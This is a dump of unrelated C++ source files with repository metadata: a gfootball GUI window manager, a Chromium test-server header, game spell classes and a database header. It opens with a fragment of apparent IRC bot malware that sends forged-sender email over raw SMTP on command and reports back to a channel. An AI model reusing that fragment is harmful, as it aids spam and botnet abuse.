strcpy(subject,replacestr(a[s+5],"_"," ")); fWSAStartup(version, &wsaData); LPHOSTENT lpHostEntry; lpHostEntry = fgethostbyname(server); SOCKET MailSocket; MailSocket = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); SOCKADDR_IN saServer; saServer.sin_family = AF_INET; saServer.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list); saServer.sin_port = fhtons((unsigned short)port); sprintf(BigBuf,"helo $rndnick\nmail from: <%s>\nrcpt to: <%s>\ndata\nsubject: %s\nfrom: %s\n%s\n.\n",sender_email,recp_email,subject,sender_email,subject); nRet = fconnect(MailSocket, (LPSOCKADDR)&saServer, sizeof(saServer)); nRet = frecv(MailSocket, myBuf, sizeof(myBuf), 0); nRet = fsend(MailSocket, BigBuf, strlen(myBuf), 0); nRet = frecv(MailSocket, myBuf, sizeof(myBuf), 0); fclosesocket(MailSocket); fWSACleanup(); sprintf(sendbuf, "[EMAIL]: Message sent to %s.",recp_email); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } // commands requiring at least 5 parameters else if (a[s+5] == NULL) return 1; } return 1; }
[ "mstr.be832920@gmail.com" ]
mstr.be832920@gmail.com
7255019859949d3e5d485d8a1a84d921c2c3c318
ed6c861536fbc851f701088841b6667baae9c7ab
/third_party/gfootball_engine/src/utils/gui2/windowmanager.cpp
4ccaf5b3bdfdbd4f3828bc4f62629441b4ade9b4
[ "Unlicense", "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
jgromero/football
a262a6fe89b230a72e02bd98bb17414a10fa1b3b
758a9d5d5d4955de1a6ff5a798f08d6f4a31fa62
refs/heads/master
2020-06-24T15:58:37.022886
2019-07-26T12:27:27
2019-07-26T12:27:27
199,008,507
0
0
null
null
null
null
UTF-8
C++
false
false
7,887
cpp
// Copyright 2019 Google LLC & Bastiaan Konings // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // written by bastiaan konings schuiling 2008 - 2014 // this work is public domain. the code is undocumented, scruffy, untested, and should generally not be used for anything important. // i do not offer support, so don't ask. to be used for inspiration :) #include "windowmanager.hpp" #include <cmath> #include "widgets/root.hpp" #include "../../managers/resourcemanagerpool.hpp" #include "../../scene/objectfactory.hpp" namespace blunted { Gui2WindowManager::Gui2WindowManager(boost::shared_ptr<Scene2D> scene2D, float aspectRatio, float margin) : scene2D(scene2D), aspectRatio(aspectRatio), margin(margin), pageFactory(0) { root = new Gui2Root(this, "root", 0, 0, 100, 100); timeStep_ms = 10; focus = root; style = new Gui2Style(); int contextW, contextH, bpp; // context scene2D->GetContextSize(contextW, contextH, bpp); contextW -= margin * 2; contextH -= margin * 2; float contextAspectRatio = (float)contextW / (float)contextH; if (contextAspectRatio > aspectRatio) { // context width is larger than "virtual context's" width, so cap by height effectiveW = contextH * aspectRatio; effectiveH = contextH; } else { effectiveW = contextW; effectiveH = contextW / aspectRatio; } effectiveW = clamp(effectiveW, 1, contextW); effectiveH = clamp(effectiveH, 1, contextH); // blackout background scene2D->GetContextSize(contextW, contextH, bpp); SDL_Surface *sdlSurface = CreateSDLSurface(contextW, contextH); boost::intrusive_ptr < Resource <Surface> > resource = ResourceManagerPool::getSurfaceManager()->Fetch("gui2_blackoutbackground", false, true); Surface *surface = resource->GetResource(); surface->SetData(sdlSurface); blackoutBackground = boost::static_pointer_cast<Image2D>(ObjectFactory::GetInstance().CreateObject("gui2_blackoutbackground", e_ObjectType_Image2D)); scene2D->CreateSystemObjects(blackoutBackground); blackoutBackground->SetImage(resource); blackoutBackground->DrawRectangle(0, 0, contextW, contextH, Vector3(0, 0, 0), 255); blackoutBackground->OnChange(); blackoutBackground->SetPosition(0, 0); blackoutBackground->Disable(); scene2D->AddObject(blackoutBackground); pagePath = new Gui2PagePath(); } Gui2WindowManager::~Gui2WindowManager() { delete style; scene2D->DeleteObject(blackoutBackground); blackoutBackground.reset(); delete pagePath; } void Gui2WindowManager::Exit() { for (unsigned int i = 0; i < pendingDelete.size(); i++) { pendingDelete[i]->Exit(); delete pendingDelete[i]; } pendingDelete.clear(); std::vector < boost::intrusive_ptr<Image2D> > images; root->GetImages(images); for (unsigned int i = 0; i < images.size(); i++) { boost::intrusive_ptr<Image2D> &image = images[i]; if (image != boost::intrusive_ptr<Image2D>()) { Log(e_Warning, "Gui2WindowManager", "Exit", "GUI2 image still here on wm exit: " + image->GetName()); } } root->Exit(); delete root; } void Gui2WindowManager::SetFocus(Gui2View *view) { if (focus == view) return; if (focus) { focus->SetInFocusPath(false); focus->OnLoseFocus(); } focus = view; if (focus) { focus->SetInFocusPath(true); focus->OnGainFocus(); } } void Gui2WindowManager::Process() { for (int i = 0; i < (signed int)pendingDelete.size(); i++) { pendingDelete[i]->Exit(); delete pendingDelete[i]; } pendingDelete.clear(); root->Process(); } void Gui2WindowManager::GetCoordinates(float x_percent, float y_percent, float width_percent, float height_percent, int &x, int &y, int &width, int &height) const { int contextW, contextH, bpp; // context scene2D->GetContextSize(contextW, contextH, bpp); contextW -= margin * 2; contextH -= margin * 2; float contextAspectRatio = (float)contextW / (float)contextH; int startX, startY; if (contextAspectRatio > aspectRatio) { // context width is larger than "virtual context's" width, so cap by height startX = margin + (contextW - effectiveW) * 0.5f; startY = margin; } else { startX = margin; startY = margin + (contextH - effectiveH) * 0.5f; } width = int(std::round(effectiveW * width_percent * 0.01f)); height = int(std::round(effectiveH * height_percent * 0.01f)); x = startX + int(std::round(effectiveW * x_percent * 0.01f)); y = startY + int(std::round(effectiveH * y_percent * 0.01f)); if (width < 1) width = 1; if (height < 1) height = 1; } float Gui2WindowManager::GetWidthPercent(int pixels) { return pixels / (effectiveW * 0.01f); } float Gui2WindowManager::GetHeightPercent(int pixels) { return pixels / (effectiveH * 0.01f); } boost::intrusive_ptr<Image2D> Gui2WindowManager::CreateImage2D(const std::string &name, int width, int height, bool sceneRegister) { SDL_Surface *sdlSurface = CreateSDLSurface(width, height); boost::intrusive_ptr < Resource <Surface> > resource = ResourceManagerPool::getSurfaceManager()->Fetch(name, false, true); Surface *surface = resource->GetResource(); surface->SetData(sdlSurface); boost::intrusive_ptr<Image2D> image = boost::static_pointer_cast<Image2D>(ObjectFactory::GetInstance().CreateObject(name, e_ObjectType_Image2D)); if (sceneRegister) scene2D->CreateSystemObjects(image); image->SetImage(resource); // temporary hack to hide views that haven't been setposition'ed yet int contextW, contextH, bpp; // context scene2D->GetContextSize(contextW, contextH, bpp); image->SetPosition(contextW, contextH); if (sceneRegister) { image->Disable(); scene2D->AddObject(image); } return image; } void Gui2WindowManager::UpdateImagePosition(Gui2View *view) const { std::vector < boost::intrusive_ptr<Image2D> > images; view->GetImages(images); for (unsigned int i = 0; i < images.size(); i++) { boost::intrusive_ptr<Image2D> &image = images[i]; if (image != boost::intrusive_ptr<Image2D>()) { float x_percent, y_percent; int x, y, w, h; view->GetDerivedPosition(x_percent, y_percent); GetCoordinates(x_percent, y_percent, 0, 0, x, y, w, h); image->SetPosition(x, y); } } } void Gui2WindowManager::RemoveImage(boost::intrusive_ptr<Image2D> image) const { scene2D->DeleteObject(image); } void Gui2WindowManager::MarkForDeletion(Gui2View *view) { pendingDelete.push_back(view); } void Gui2WindowManager::Show(Gui2View *view) { std::vector < boost::intrusive_ptr<Image2D> > images; view->GetImages(images); for (unsigned int i = 0; i < images.size(); i++) { boost::intrusive_ptr<Image2D> &image = images[i]; if (image != boost::intrusive_ptr<Image2D>()) { image->Enable(); } } } void Gui2WindowManager::Hide(Gui2View *view) { std::vector < boost::intrusive_ptr<Image2D> > images; view->GetImages(images); for (unsigned int i = 0; i < images.size(); i++) { boost::intrusive_ptr<Image2D> &image = images[i]; if (image != boost::intrusive_ptr<Image2D>()) { image->Disable(); } } } }
[ "jgomez@decsai.ugr.es" ]
jgomez@decsai.ugr.es
1a1ad56643205e25328a341e9b63e76567098d64
2c148e207664a55a5809a3436cbbd23b447bf7fb
/src/net/test/spawned_test_server/base_test_server.h
d629bb07f183dd9cfb5e4649c3084d5afdb6388e
[ "BSD-3-Clause" ]
permissive
nuzumglobal/Elastos.Trinity.Alpha.Android
2bae061d281ba764d544990f2e1b2419b8e1e6b2
4c6dad6b1f24d43cadb162fb1dbec4798a8c05f3
refs/heads/master
2020-05-21T17:30:46.563321
2018-09-03T05:16:16
2018-09-03T05:16:16
null
0
0
null
null
null
null
UTF-8
C++
false
false
19,306
h
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef NET_TEST_SPAWNED_TEST_SERVER_BASE_TEST_SERVER_H_ #define NET_TEST_SPAWNED_TEST_SERVER_BASE_TEST_SERVER_H_ #include <stdint.h> #include <memory> #include <string> #include <utility> #include <vector> #include "base/compiler_specific.h" #include "base/files/file_path.h" #include "base/macros.h" #include "base/memory/ref_counted.h" #include "net/base/host_port_pair.h" #include "net/ssl/ssl_client_cert_type.h" class GURL; namespace base { class DictionaryValue; } namespace net { class AddressList; class ScopedPortException; class X509Certificate; // The base class of Test server implementation. class BaseTestServer { public: typedef std::pair<std::string, std::string> StringPair; // Following types represent protocol schemes. See also // http://www.iana.org/assignments/uri-schemes.html enum Type { TYPE_BASIC_AUTH_PROXY, TYPE_FTP, TYPE_HTTP, TYPE_HTTPS, TYPE_WS, TYPE_WSS, TYPE_TCP_ECHO, TYPE_UDP_ECHO, }; // Container for various options to control how the HTTPS or WSS server is // initialized. struct SSLOptions { enum ServerCertificate { CERT_OK, // CERT_AUTO causes the testserver to generate a test certificate issued // by "Testing CA" (see net/data/ssl/certificates/ocsp-test-root.pem). CERT_AUTO, // As with CERT_AUTO, but the chain will include a generated intermediate // as well. The testserver will include the intermediate cert in the TLS // handshake. CERT_AUTO_WITH_INTERMEDIATE, // Generate an intermediate cert issued by "Testing CA", and generate a // test certificate issued by that intermediate with an AIA record for // retrieving the intermediate. CERT_AUTO_AIA_INTERMEDIATE, CERT_MISMATCHED_NAME, CERT_EXPIRED, // Cross-signed certificate to test PKIX path building. Contains an // intermediate cross-signed by an unknown root, while the client (via // TestRootStore) is expected to have a self-signed version of the // intermediate. CERT_CHAIN_WRONG_ROOT, // Causes the testserver to use a hostname that is a domain // instead of an IP. CERT_COMMON_NAME_IS_DOMAIN, // A certificate with invalid notBefore and notAfter times. Windows' // certificate library will not parse this certificate. CERT_BAD_VALIDITY, }; // OCSPStatus enumerates the types of OCSP response that the testserver // can produce. enum OCSPStatus { OCSP_OK, OCSP_REVOKED, OCSP_INVALID_RESPONSE, OCSP_UNAUTHORIZED, OCSP_UNKNOWN, OCSP_INVALID_RESPONSE_DATA, OCSP_TRY_LATER, OCSP_MISMATCHED_SERIAL, }; // OCSPDate enumerates the date ranges for OCSP responses that the // testserver can produce. enum OCSPDate { OCSP_DATE_VALID, OCSP_DATE_OLD, OCSP_DATE_EARLY, OCSP_DATE_LONG, OCSP_DATE_LONGER, }; // OCSPSingleResponse is used when specifying multiple stapled responses, // each // with their own CertStatus and date validity. struct OCSPSingleResponse { OCSPStatus status; OCSPDate date; }; // OCSPProduced enumerates the validity of the producedAt field in OCSP // responses produced by the testserver. enum OCSPProduced { OCSP_PRODUCED_VALID, OCSP_PRODUCED_BEFORE_CERT, OCSP_PRODUCED_AFTER_CERT, }; // Bitmask of key exchange algorithms that the test server supports and that // can be selectively enabled or disabled. enum KeyExchange { // Special value used to indicate that any algorithm the server supports // is acceptable. Preferred over explicitly OR-ing all key exchange // algorithms. KEY_EXCHANGE_ANY = 0, KEY_EXCHANGE_RSA = (1 << 0), KEY_EXCHANGE_DHE_RSA = (1 << 1), KEY_EXCHANGE_ECDHE_RSA = (1 << 2), }; // Bitmask of bulk encryption algorithms that the test server supports // and that can be selectively enabled or disabled. enum BulkCipher { // Special value used to indicate that any algorithm the server supports // is acceptable. Preferred over explicitly OR-ing all ciphers. BULK_CIPHER_ANY = 0, BULK_CIPHER_RC4 = (1 << 0), BULK_CIPHER_AES128 = (1 << 1), BULK_CIPHER_AES256 = (1 << 2), // NOTE: 3DES support in the Python test server has external // dependencies and not be available on all machines. Clients may not // be able to connect if only 3DES is specified. BULK_CIPHER_3DES = (1 << 3), BULK_CIPHER_AES128GCM = (1 << 4), }; // NOTE: the values of these enumerators are passed to the the Python test // server. Do not change them. enum TLSIntolerantLevel { TLS_INTOLERANT_NONE = 0, TLS_INTOLERANT_ALL = 1, // Intolerant of all TLS versions. TLS_INTOLERANT_TLS1_1 = 2, // Intolerant of TLS 1.1 or higher. TLS_INTOLERANT_TLS1_2 = 3, // Intolerant of TLS 1.2 or higher. TLS_INTOLERANT_TLS1_3 = 4, // Intolerant of TLS 1.3 or higher. }; // Values which control how the server reacts in response to a ClientHello // it is intolerant of. enum TLSIntoleranceType { TLS_INTOLERANCE_ALERT = 0, // Send a handshake_failure alert. TLS_INTOLERANCE_CLOSE = 1, // Close the connection. TLS_INTOLERANCE_RESET = 2, // Send a TCP reset. }; // Initialize a new SSLOptions using CERT_OK as the certificate. SSLOptions(); // Initialize a new SSLOptions that will use the specified certificate. explicit SSLOptions(ServerCertificate cert); SSLOptions(const SSLOptions& other); ~SSLOptions(); // Returns the relative filename of the file that contains the // |server_certificate|. base::FilePath GetCertificateFile() const; // GetOCSPArgument returns the value of any OCSP argument to testserver or // the empty string if there is none. std::string GetOCSPArgument() const; // GetOCSPDateArgument returns the value of the OCSP date argument to // testserver or the empty string if there is none. std::string GetOCSPDateArgument() const; // GetOCSPProducedArgument returns the value of the OCSP produced argument // to testserver or the empty string if there is none. std::string GetOCSPProducedArgument() const; // GetOCSPIntermediateArgument returns the value of any OCSP intermediate // argument to testserver or the empty string if there is none. std::string GetOCSPIntermediateArgument() const; // GetOCSPIntermediateDateArgument returns the value of the OCSP // intermediate date argument to testserver or the empty string if there is // none. std::string GetOCSPIntermediateDateArgument() const; // GetOCSPIntermediateProducedArgument returns the value of the OCSP // intermediate produced argument to testserver or the empty string if // there is none. std::string GetOCSPIntermediateProducedArgument() const; // The certificate to use when serving requests. ServerCertificate server_certificate = CERT_OK; // If |server_certificate==CERT_AUTO| or |CERT_AUTO_WITH_INTERMEDIATE| then // this determines the type of leaf OCSP response returned. Ignored if // |ocsp_responses| is non-empty. OCSPStatus ocsp_status = OCSP_OK; // If |server_certificate==CERT_AUTO| or |CERT_AUTO_WITH_INTERMEDIATE| then // this determines the date range set on the leaf OCSP response returned. // Ignore if |ocsp_responses| is non-empty. OCSPDate ocsp_date = OCSP_DATE_VALID; // If |server_certificate==CERT_AUTO| or |CERT_AUTO_WITH_INTERMEDIATE|, // contains the status and validity for multiple stapled responeses. // Overrides |ocsp_status| and |ocsp_date| when // non-empty. std::vector<OCSPSingleResponse> ocsp_responses; // If |server_certificate==CERT_AUTO| or |CERT_AUTO_WITH_INTERMEDIATE| then // this determines the validity of the producedAt field on the returned // leaf OCSP response. OCSPProduced ocsp_produced = OCSP_PRODUCED_VALID; // If |server_certificate==CERT_AUTO_WITH_INTERMEDIATE| then this // determines the type of intermediate OCSP response returned. Ignored if // |ocsp_intermediate_responses| is non-empty. OCSPStatus ocsp_intermediate_status = OCSP_OK; // If |server_certificate==CERT_AUTO_WITH_INTERMEDIATE| then this // determines the date range set on the intermediate OCSP response // returned. Ignore if |ocsp_intermediate_responses| is non-empty. OCSPDate ocsp_intermediate_date = OCSP_DATE_VALID; // If |server_certificate==CERT_AUTO_WITH_INTERMEDIATE|, contains the // status and validity for multiple stapled responeses. Overrides // |ocsp_intermediate_status| and |ocsp_intermediate_date| when non-empty. // TODO(mattm): testserver doesn't actually staple OCSP responses for // intermediates. std::vector<OCSPSingleResponse> ocsp_intermediate_responses; // If |server_certificate==CERT_AUTO_WITH_INTERMEDIATE| then this // determines the validity of the producedAt field on the returned // intermediate OCSP response. OCSPProduced ocsp_intermediate_produced = OCSP_PRODUCED_VALID; // If not zero, |cert_serial| will be the serial number of the // auto-generated leaf certificate when |server_certificate==CERT_AUTO|. uint64_t cert_serial = 0; // If not empty, |cert_common_name| will be the common name of the // auto-generated leaf certificate when |server_certificate==CERT_AUTO|. std::string cert_common_name; // True if a CertificateRequest should be sent to the client during // handshaking. bool request_client_certificate = false; // If |request_client_certificate| is true, an optional list of files, // each containing a single, PEM-encoded X.509 certificates. The subject // from each certificate will be added to the certificate_authorities // field of the CertificateRequest. std::vector<base::FilePath> client_authorities; // If |request_client_certificate| is true, an optional list of // SSLClientCertType values to populate the certificate_types field of the // CertificateRequest. std::vector<SSLClientCertType> client_cert_types; // A bitwise-OR of KeyExchnage that should be used by the // HTTPS server, or KEY_EXCHANGE_ANY to indicate that all implemented // key exchange algorithms are acceptable. int key_exchanges = KEY_EXCHANGE_ANY; // A bitwise-OR of BulkCipher that should be used by the // HTTPS server, or BULK_CIPHER_ANY to indicate that all implemented // ciphers are acceptable. int bulk_ciphers = BULK_CIPHER_ANY; // If true, pass the --https-record-resume argument to testserver.py which // causes it to log session cache actions and echo the log on // /ssl-session-cache. bool record_resume = false; // If not TLS_INTOLERANT_NONE, the server will abort any handshake that // negotiates an intolerant TLS version in order to test version fallback. TLSIntolerantLevel tls_intolerant = TLS_INTOLERANT_NONE; // If |tls_intolerant| is not TLS_INTOLERANT_NONE, how the server reacts to // an intolerant TLS version. TLSIntoleranceType tls_intolerance_type = TLS_INTOLERANCE_ALERT; // fallback_scsv_enabled, if true, causes the server to process the // TLS_FALLBACK_SCSV cipher suite. This cipher suite is sent by Chrome // when performing TLS version fallback in response to an SSL handshake // failure. If this option is enabled then the server will reject fallback // connections. bool fallback_scsv_enabled = false; // Temporary glue for testing: validation of SCTs is application-controlled // and can be appropriately mocked out, so sending fake data here does not // affect handshaking behaviour. // TODO(ekasper): replace with valid SCT files for test certs. // (Fake) SignedCertificateTimestampList (as a raw binary string) to send in // a TLS extension. std::string signed_cert_timestamps_tls_ext; // Whether to staple the OCSP response. bool staple_ocsp_response = false; // Whether to make the OCSP server unavailable. This does not affect the // stapled OCSP response. bool ocsp_server_unavailable = false; // List of protocols to advertise in NPN extension. NPN is not supported if // list is empty. Note that regardless of what protocol is negotiated, the // test server will continue to speak HTTP/1.1. std::vector<std::string> npn_protocols; // List of supported ALPN protocols. std::vector<std::string> alpn_protocols; // Whether to send a fatal alert immediately after completing the handshake. bool alert_after_handshake = false; // If true, disables channel ID on the server. bool disable_channel_id = false; // If true, disables extended master secret tls extension. bool disable_extended_master_secret = false; // List of token binding params that the server supports and will negotiate. std::vector<int> supported_token_binding_params; }; // Initialize a TestServer. explicit BaseTestServer(Type type); // Initialize a TestServer with a specific set of SSLOptions for HTTPS or WSS. BaseTestServer(Type type, const SSLOptions& ssl_options); // Starts the server blocking until the server is ready. bool Start() WARN_UNUSED_RESULT; // Start the test server without blocking. Use this if you need multiple test // servers (such as WebSockets and HTTP, or HTTP and HTTPS). You must call // BlockUntilStarted on all servers your test requires before executing the // test. For example: // // // Start the servers in parallel. // ASSERT_TRUE(http_server.StartInBackground()); // ASSERT_TRUE(websocket_server.StartInBackground()); // // Wait for both servers to be ready. // ASSERT_TRUE(http_server.BlockUntilStarted()); // ASSERT_TRUE(websocket_server.BlockUntilStarted()); // RunMyTest(); // // Returns true on success. virtual bool StartInBackground() WARN_UNUSED_RESULT = 0; // Block until the test server is ready. Returns true on success. See // StartInBackground() documentation for more information. virtual bool BlockUntilStarted() WARN_UNUSED_RESULT = 0; // Returns the host port pair used by current Python based test server only // if the server is started. const HostPortPair& host_port_pair() const; const base::FilePath& document_root() const { return document_root_; } const base::DictionaryValue& server_data() const; std::string GetScheme() const; bool GetAddressList(AddressList* address_list) const WARN_UNUSED_RESULT; GURL GetURL(const std::string& path) const; GURL GetURLWithUser(const std::string& path, const std::string& user) const; GURL GetURLWithUserAndPassword(const std::string& path, const std::string& user, const std::string& password) const; static bool GetFilePathWithReplacements( const std::string& original_path, const std::vector<StringPair>& text_to_replace, std::string* replacement_path); static bool UsingSSL(Type type) { return type == BaseTestServer::TYPE_HTTPS || type == BaseTestServer::TYPE_WSS; } // Enable HTTP basic authentication. Currently this only works for TYPE_WS and // TYPE_WSS. void set_websocket_basic_auth(bool ws_basic_auth) { ws_basic_auth_ = ws_basic_auth; } // Disable creation of anonymous FTP user. void set_no_anonymous_ftp_user(bool no_anonymous_ftp_user) { no_anonymous_ftp_user_ = no_anonymous_ftp_user; } // Redirect proxied CONNECT requests to localhost. void set_redirect_connect_to_localhost(bool redirect_connect_to_localhost) { redirect_connect_to_localhost_ = redirect_connect_to_localhost; } // Marks the root certificate of an HTTPS test server as trusted for // the duration of tests. bool LoadTestRootCert() const WARN_UNUSED_RESULT; // Returns the certificate that the server is using. scoped_refptr<X509Certificate> GetCertificate() const; protected: virtual ~BaseTestServer(); Type type() const { return type_; } const SSLOptions& ssl_options() const { return ssl_options_; } bool started() const { return started_; } // Gets port currently assigned to host_port_pair_ without checking // whether it's available (server started) or not. uint16_t GetPort(); // Sets |port| as the actual port used by Python based test server. void SetPort(uint16_t port); // Set up internal status when the server is started. bool SetupWhenServerStarted() WARN_UNUSED_RESULT; // Clean up internal status when starting to stop server. void CleanUpWhenStoppingServer(); // Set path of test resources. void SetResourcePath(const base::FilePath& document_root, const base::FilePath& certificates_dir); // Parses the server data read from the test server and sets |server_data_|. // *port is set to the port number specified in server_data. The port may be // different from the local port set in |host_port_pair_|, specifically when // using RemoteTestServer (which proxies connections from 127.0.0.1 to a // different IP). Returns true on success. bool SetAndParseServerData(const std::string& server_data, int* port) WARN_UNUSED_RESULT; // Generates a DictionaryValue with the arguments for launching the external // Python test server. bool GenerateArguments(base::DictionaryValue* arguments) const WARN_UNUSED_RESULT; // Subclasses can override this to add arguments that are specific to their // own test servers. virtual bool GenerateAdditionalArguments( base::DictionaryValue* arguments) const WARN_UNUSED_RESULT; private: void Init(const std::string& host); // Document root of the test server. base::FilePath document_root_; // Directory that contains the SSL certificates. base::FilePath certificates_dir_; // Address on which the tests should connect to the server. With // RemoteTestServer it may be different from the address on which the server // listens on. HostPortPair host_port_pair_; // Holds the data sent from the server (e.g., port number). std::unique_ptr<base::DictionaryValue> server_data_; // If |type_| is TYPE_HTTPS or TYPE_WSS, the TLS settings to use for the test // server. SSLOptions ssl_options_; Type type_; // Has the server been started? bool started_ = false; // Enables logging of the server to the console. bool log_to_console_ = false; // Is WebSocket basic HTTP authentication enabled? bool ws_basic_auth_ = false; // Disable creation of anonymous FTP user? bool no_anonymous_ftp_user_ = false; // Redirect proxied CONNECT requests to localhost? bool redirect_connect_to_localhost_ = false; std::unique_ptr<ScopedPortException> allowed_port_; DISALLOW_COPY_AND_ASSIGN(BaseTestServer); }; } // namespace net #endif // NET_TEST_SPAWNED_TEST_SERVER_BASE_TEST_SERVER_H_
[ "jiawang.yu@spreadtrum.com" ]
jiawang.yu@spreadtrum.com
53842236b00b11033b03b8e1f17048742d00de9c
00507a73826c6c0b4c051b733386cc455f3e54bc
/FinalProject/src/Entity/Magic.h
9fbf6f64d63555e18758ec2ad5646e8dec9cf489
[]
no_license
Chibin/The-Circle
098aa8238faf8d489504908f281d9eb7a988af6d
f9ca2dadd04e83190d9efe51108f6af17af7058d
refs/heads/master
2021-01-10T20:15:25.390116
2013-05-14T10:53:02
2013-05-14T10:53:02
9,666,642
0
0
null
null
null
null
UTF-8
C++
false
false
2,975
h
#ifndef MAGIC_H_ #define MAGIC_H_ #include <iostream> #include <string> #include "Item.h" class Magic{ private: public: //enums needs ot be public, will rearange later enum magicType{DAMAGE,HEAL,BUFF,DEBUFF}; enum targetType{SINGLE,AOE}; //area of effect: no credit to john protected: SDL_Surface* magicTextImage[2]; SDL_Rect magicLoc; enum magicType mType; enum targetType tType; int magicDamage, MPCost; std::string MagicName; public: Magic(){} void setMagicType(enum magicType _mType){mType = _mType;} magicType getMagicType(){return mType;} void setTargetType(enum targetType _tType){ tType = _tType;} targetType getMagicTargetType(){return tType;} void setMPCost(int _MPCost){ MPCost = _MPCost;} void setMagicDamage(int mDamage){magicDamage = mDamage;} void setMagicName(std::string Name){MagicName = Name;} void setTextLocation(Sint16 x, Sint16 y){magicLoc.x = x; magicLoc.y = y;} void setMagicTextImage(){ TTF_Font* font; font = TTF_OpenFont("../Fonts/coolvetica.ttf",35); //used to be 30 for manga temple SDL_Color fgColor = {255,255,0}; magicTextImage[0] =TTF_RenderText_Blended(font,MagicName.c_str(),fgColor); fgColor.b = 255; magicTextImage[1] =TTF_RenderText_Blended(font,MagicName.c_str(),fgColor); TTF_CloseFont(font); } int getMagicDamage(){return magicDamage;} int getMPCost(){return MPCost;} std::string getMagicName(){return MagicName; } SDL_Surface** getMagicTextImage(){return magicTextImage; } }; class DemonFang : public Magic{ public: DemonFang(){ setMagicType(DAMAGE); setTargetType(SINGLE); setMagicDamage(10); setMPCost(5); setMagicName("Demon Fang"); setMagicTextImage(); } }; class FireBall: public Magic{ public: FireBall(){ setMagicType(DAMAGE); setTargetType(SINGLE); setMagicDamage(10); setMPCost(5); setMagicName("FireBall"); setMagicTextImage(); } }; class AngelFeathers : public Magic{ public: AngelFeathers(){ setMagicType(DAMAGE); setTargetType(AOE); setMagicDamage(10); setMPCost(15); setMagicName("Angel Feathers"); setMagicTextImage(); } }; class PowHammer : public Magic{ public: PowHammer(){ setMagicType(DAMAGE); setTargetType(SINGLE); setMagicDamage(8); setMPCost(3); setMagicName("Pow Hammer"); setMagicTextImage(); } }; class ParaBall : public Magic{ public: ParaBall(){ setMagicType(DAMAGE); setTargetType(SINGLE); setMagicDamage(20); setMPCost(8); setMagicName("Para Ball"); setMagicTextImage(); } }; class DumDog : public Magic{ //non-sense skill for john lusby public: DumDog(){ setMagicType(HEAL); setTargetType(SINGLE); setMagicDamage(-20); //inflicts damage to one's self setMPCost(0); setMagicName("Dum Dog"); setMagicTextImage(); }; }; class FirstAid: public Magic{ public: FirstAid(){ setMagicType(HEAL); setTargetType(SINGLE); setMagicDamage(8); setMPCost(3); setMagicName("First Aid"); setMagicTextImage(); } }; #endif
[ "ayamaru@gmail.com" ]
ayamaru@gmail.com
4542aa57b8a071f240ee6b5f0884dada4c519b14
e73e31c1acf01a124e628e95db48b8cb7e218e1c
/src/3btree/btree_records_base.h
9c61f6ed5b7eefc786aff3d7ef8346894f73c716
[ "Apache-2.0", "LicenseRef-scancode-proprietary-license", "LicenseRef-scancode-protobuf" ]
permissive
billon-pl/upscaledb
06f7fe5919a56c4794dc0a281cf5c5a2cce2e59a
da365e3504346b968b6d35de2185f12bba1c1ede
refs/heads/master
2020-03-20T01:56:34.322777
2018-06-20T11:00:04
2018-06-20T11:00:04
137,094,250
1
0
Apache-2.0
2018-06-20T11:00:05
2018-06-12T15:46:48
C++
UTF-8
C++
false
false
1,917
h
/* * Copyright (C) 2005-2017 Christoph Rupp (chris@crupp.de). * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * See the file COPYING for License information. */ /* * Base class for RecordLists */ #ifndef UPS_BTREE_RECORDS_BASE_H #define UPS_BTREE_RECORDS_BASE_H #include "0root/root.h" // Always verify that a file of level N does not include headers > N! #include "3btree/btree_list_base.h" #ifndef UPS_ROOT_H # error "root.h was not included" #endif namespace upscaledb { struct BaseRecordList : BaseList { enum { // A flag whether this RecordList supports the scan() call kSupportsBlockScans = 0, // A flag whether this RecordList has sequential data kHasSequentialData = 0 }; BaseRecordList(LocalDb *db, PBtreeNode *node) : BaseList(db, node) { } // Fills the btree_metrics structure void fill_metrics(btree_metrics_t *metrics, size_t node_count) { BtreeStatistics::update_min_max_avg(&metrics->recordlist_ranges, range_size); } // Returns the record id. Only required for internal nodes uint64_t record_id(int slot, int duplicate_index = 0) const { assert(!"shouldn't be here"); return 0; } // Sets the record id. Not required for fixed length leaf nodes void set_record_id(int slot, uint64_t ptr) { assert(!"shouldn't be here"); } }; } // namespace upscaledb #endif // UPS_BTREE_RECORDS_BASE_H
[ "zbigniew.romanowski@billongroup.com" ]
zbigniew.romanowski@billongroup.com
76f9b288a5c5de63a9cf267376906e1dd69d2fa5
7da3fca158ea3fb03a578aaff783739a91194bab
/Code/CEDL_test/C1-huangzile2018-2-27/head/head.cpp
41a325759c178a77d12df08a725d65ebe10a7716
[]
no_license
powerLEO101/Work
f1b16d410a55a9136470e0d04ccc4abcfd95e18b
6ae5de17360a7a06e1b65d439158ff5c2d506c2a
refs/heads/master
2021-06-18T01:33:07.380867
2021-02-16T10:16:47
2021-02-16T10:16:47
105,882,852
0
0
null
null
null
null
UTF-8
C++
false
false
169
cpp
#include<iostream> #include<cstdio> #include<algorithm> int main() { freopen("head.in","r",stdin); freopen("head.out","w",stdout); std::cout<<"3 3 32"; return 0; }
[ "3256870400@qq.com" ]
3256870400@qq.com
5ecd14bc9f0bd0dac72fc39e5231d42031efb4b5
22e5a8b7983e1438431e52f198a89c452a3d31cc
/Strings/Strings/stringConvert.h
495552981e5b45e3f88345dc5ea8d00687d02f94
[]
no_license
JuniorSidnei/Strings
4ce0964dd2f9391bfd3fd7e49e06e24ba2c955e6
55b38af158061e354e7137f9593baa289d189e14
refs/heads/master
2021-01-21T08:40:25.846600
2017-05-18T01:57:43
2017-05-18T01:57:43
91,637,423
0
0
null
null
null
null
